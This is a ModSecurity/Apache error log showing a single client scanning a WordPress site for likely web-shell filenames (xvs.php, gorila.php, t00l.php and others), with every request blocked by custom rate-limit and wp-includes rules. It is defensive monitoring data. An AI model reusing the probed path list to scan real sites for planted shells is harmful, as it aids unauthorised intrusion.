[Fri Apr 03 21:44:52.666193 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:13768] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ac_EVKGvTIc8-wY3jUSq3AAAAQM"]
[Fri Apr 03 21:44:54.322605 2026] [:error] [pid 40562:tid 40580] [client 172.161.140.213:1643] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ac_EVjfFMXuP9zvqCeqPTAAAAY8"]
[Fri Apr 03 21:44:54.896702 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:1656] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "ac_EVqGvTIc8-wY3jUSq7gAAAQM"]
[Fri Apr 03 21:44:55.543043 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:16060] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "ac_EV5_WKqUonPNUHYz85wAAAdY"]
[Fri Apr 03 21:44:56.118210 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:1307] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "ac_EWFlRNZ0iDVmJWM0VqQAAABI"]
[Fri Apr 03 21:44:56.665154 2026] [:error] [pid 33445:tid 33470] [client 172.161.140.213:13807] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xvs.php"] [unique_id "ac_EWFlRNZ0iDVmJWM0VsAAAABQ"]
[Fri Apr 03 21:44:57.218609 2026] [:error] [pid 33446:tid 33492] [client 172.161.140.213:12308] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "ac_EWdg3dCqFYIIdw0p6OAAAAE8"]
[Fri Apr 03 21:44:57.814784 2026] [:error] [pid 33446:tid 33491] [client 172.161.140.213:1633] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "ac_EWdg3dCqFYIIdw0p6QgAAAE4"]
[Fri Apr 03 21:44:58.501376 2026] [:error] [pid 35469:tid 35479] [client 172.161.140.213:1291] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "ac_EWqGvTIc8-wY3jUSq-AAAAQg"]
[Fri Apr 03 21:44:59.004290 2026] [:error] [pid 33446:tid 33492] [client 172.161.140.213:1944] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ass.php"] [unique_id "ac_EW9g3dCqFYIIdw0p6SQAAAE8"]
[Fri Apr 03 21:44:59.541637 2026] [:error] [pid 40533:tid 40551] [client 172.161.140.213:33568] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "ac_EW_bIAA8AViDmwsuzpwAAAVA"]
[Fri Apr 03 21:45:00.055901 2026] [:error] [pid 40562:tid 40571] [client 172.161.140.213:10325] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "ac_EXDfFMXuP9zvqCeqPVAAAAYY"]
[Fri Apr 03 21:45:00.623949 2026] [:error] [pid 40562:tid 40565] [client 172.161.140.213:10309] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "ac_EXDfFMXuP9zvqCeqPVQAAAYA"]
[Fri Apr 03 21:45:01.179693 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:13028] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amax.php"] [unique_id "ac_EXVlRNZ0iDVmJWM0VuAAAABI"]
[Fri Apr 03 21:45:01.776515 2026] [:error] [pid 33445:tid 33471] [client 172.161.140.213:12311] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gorila.php"] [unique_id "ac_EXVlRNZ0iDVmJWM0VvQAAABU"]
[Fri Apr 03 21:45:02.299068 2026] [:error] [pid 33542:tid 33551] [client 172.161.140.213:13778] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gorila.php"] [unique_id "ac_EXnwb6uB1LaGtepYAVgAAAMY"]
[Fri Apr 03 21:45:02.999777 2026] [:error] [pid 33445:tid 33461] [client 172.161.140.213:33545] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gorila.php"] [unique_id "ac_EXllRNZ0iDVmJWM0VwwAAAAs"]
[Fri Apr 03 21:45:03.514018 2026] [:error] [pid 55174:tid 55176] [client 172.161.140.213:1928] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gorila.php"] [unique_id "ac_EX5_WKqUonPNUHYz88QAAAcA"]
[Fri Apr 03 21:45:04.077648 2026] [:error] [pid 33445:tid 33462] [client 172.161.140.213:1308] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "ac_EYFlRNZ0iDVmJWM0VzAAAAAw"]
[Fri Apr 03 21:45:04.681428 2026] [:error] [pid 33445:tid 33472] [client 172.161.140.213:13037] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "ac_EYFlRNZ0iDVmJWM0V0wAAABY"]
[Fri Apr 03 21:45:05.186641 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:16008] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "ac_EYaGvTIc8-wY3jUSrDQAAAQI"]
[Fri Apr 03 21:45:05.741840 2026] [:error] [pid 35469:tid 35493] [client 172.161.140.213:11687] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0.php"] [unique_id "ac_EYaGvTIc8-wY3jUSrEAAAARY"]
[Fri Apr 03 21:45:06.235471 2026] [:error] [pid 33445:tid 33457] [client 172.161.140.213:1661] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ac_EYllRNZ0iDVmJWM0V3wAAAAc"]
[Fri Apr 03 21:45:06.731500 2026] [:error] [pid 35469:tid 35478] [client 172.161.140.213:1282] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ac_EYqGvTIc8-wY3jUSrIQAAAQc"]
[Fri Apr 03 21:45:07.272147 2026] [:error] [pid 35469:tid 35490] [client 172.161.140.213:1299] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ac_EY6GvTIc8-wY3jUSrKAAAARM"]
[Fri Apr 03 21:45:07.811984 2026] [:error] [pid 33445:tid 33474] [client 172.161.140.213:1962] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "ac_EY1lRNZ0iDVmJWM0V4QAAABg"]
[Fri Apr 03 21:45:08.287311 2026] [:error] [pid 40533:tid 40537] [client 172.161.140.213:14808] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac_EZPbIAA8AViDmwsuzrAAAAUI"]
[Fri Apr 03 21:45:08.811719 2026] [:error] [pid 40533:tid 40555] [client 172.161.140.213:1288] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ac_EZPbIAA8AViDmwsuzrQAAAVQ"]
[Fri Apr 03 21:45:09.312431 2026] [:error] [pid 40533:tid 40553] [client 172.161.140.213:10349] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ac_EZfbIAA8AViDmwsuzrgAAAVI"]
[Fri Apr 03 21:45:09.806499 2026] [:error] [pid 33446:tid 33480] [client 172.161.140.213:23003] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "ac_EZdg3dCqFYIIdw0p6aAAAAEM"]
[Fri Apr 03 21:45:10.289828 2026] [:error] [pid 33446:tid 33491] [client 172.161.140.213:12259] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac_EZtg3dCqFYIIdw0p6bgAAAE4"]
[Fri Apr 03 21:45:10.919500 2026] [:error] [pid 33445:tid 33455] [client 172.161.140.213:1948] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac_EZllRNZ0iDVmJWM0V5gAAAAU"]
[Fri Apr 03 21:45:11.443406 2026] [:error] [pid 40562:tid 40582] [client 172.161.140.213:16015] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac_EZzfFMXuP9zvqCeqPYQAAAZE"]
[Fri Apr 03 21:45:12.060595 2026] [:error] [pid 35469:tid 35480] [client 172.161.140.213:14793] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac_EaKGvTIc8-wY3jUSrNgAAAQk"]
[Fri Apr 03 21:45:12.699925 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:22978] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "ac_EaFlRNZ0iDVmJWM0V8QAAAAQ"]
[Fri Apr 03 21:45:13.454776 2026] [:error] [pid 55174:tid 55199] [client 172.161.140.213:12725] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "ac_EaZ_WKqUonPNUHYz8_QAAAdc"]
[Fri Apr 03 21:45:14.272675 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:12607] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "ac_EallRNZ0iDVmJWM0V_wAAABI"]
[Fri Apr 03 21:45:14.801845 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:14840] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x1.php"] [unique_id "ac_EallRNZ0iDVmJWM0WAwAAAAQ"]
[Fri Apr 03 21:45:15.433778 2026] [:error] [pid 35469:tid 35480] [client 172.161.140.213:12574] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ac_Ea6GvTIc8-wY3jUSrPAAAAQk"]
[Fri Apr 03 21:45:16.063543 2026] [:error] [pid 35469:tid 35491] [client 172.161.140.213:12567] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ac_EbKGvTIc8-wY3jUSrPwAAARQ"]
[Fri Apr 03 21:45:16.772028 2026] [:error] [pid 33445:tid 33470] [client 172.161.140.213:23016] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ac_EbFlRNZ0iDVmJWM0WCwAAABQ"]
[Fri Apr 03 21:45:17.324202 2026] [:error] [pid 40533:tid 40548] [client 172.161.140.213:14516] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/t00l.php"] [unique_id "ac_EbfbIAA8AViDmwsuztAAAAU0"]
[Fri Apr 03 21:45:17.903855 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:32230] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac_Ebdg3dCqFYIIdw0p6hwAAAEY"]
[Fri Apr 03 21:45:18.472598 2026] [:error] [pid 33447:tid 33519] [client 172.161.140.213:16003] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac_EbkgaPmDHz92j4lNTQQAAAI8"]
[Fri Apr 03 21:45:18.993280 2026] [:error] [pid 55174:tid 55189] [client 172.161.140.213:13818] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac_Ebp_WKqUonPNUHYz9AwAAAc0"]
[Fri Apr 03 21:45:19.492256 2026] [:error] [pid 55174:tid 55183] [client 172.161.140.213:1609] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac_Eb5_WKqUonPNUHYz9BgAAAcc"]
[Fri Apr 03 21:45:20.095376 2026] [:error] [pid 33445:tid 33452] [client 172.161.140.213:10307] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac_EcFlRNZ0iDVmJWM0WEwAAAAI"]
[Fri Apr 03 21:45:20.647072 2026] [:error] [pid 33446:tid 33487] [client 172.161.140.213:10344] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xwx1.php"] [unique_id "ac_EcNg3dCqFYIIdw0p6kwAAAEo"]
[Fri Apr 03 21:46:05.758592 2026] [:error] [pid 33446:tid 33482] [client 172.161.140.213:1070] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac_Endg3dCqFYIIdw0p7KAAAAEU"]
[Fri Apr 03 21:46:06.289433 2026] [:error] [pid 35469:tid 35480] [client 172.161.140.213:32876] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac_EnqGvTIc8-wY3jUSskQAAAQk"]
[Fri Apr 03 21:46:07.199461 2026] [:error] [pid 33542:tid 33568] [client 172.161.140.213:32926] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac_En3wb6uB1LaGtepYAfgAAANc"]
[Fri Apr 03 21:46:07.672046 2026] [:error] [pid 35469:tid 35471] [client 172.161.140.213:17622] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/admin.php"] [unique_id "ac_En6GvTIc8-wY3jUSsnAAAAQA"]
[Fri Apr 03 21:46:08.190595 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:9220] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file88.php"] [unique_id "ac_EoKGvTIc8-wY3jUSsowAAAQI"]
[Fri Apr 03 21:46:08.721753 2026] [:error] [pid 33542:tid 33563] [client 172.161.140.213:13688] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file88.php"] [unique_id "ac_EoHwb6uB1LaGtepYAgQAAANI"]
[Fri Apr 03 21:46:09.224545 2026] [:error] [pid 33542:tid 33553] [client 172.161.140.213:12388] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file88.php"] [unique_id "ac_EoXwb6uB1LaGtepYAgwAAAMg"]
[Fri Apr 03 21:46:09.718489 2026] [:error] [pid 33447:tid 33518] [client 172.161.140.213:17621] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file88.php"] [unique_id "ac_EoUgaPmDHz92j4lNTfgAAAI4"]
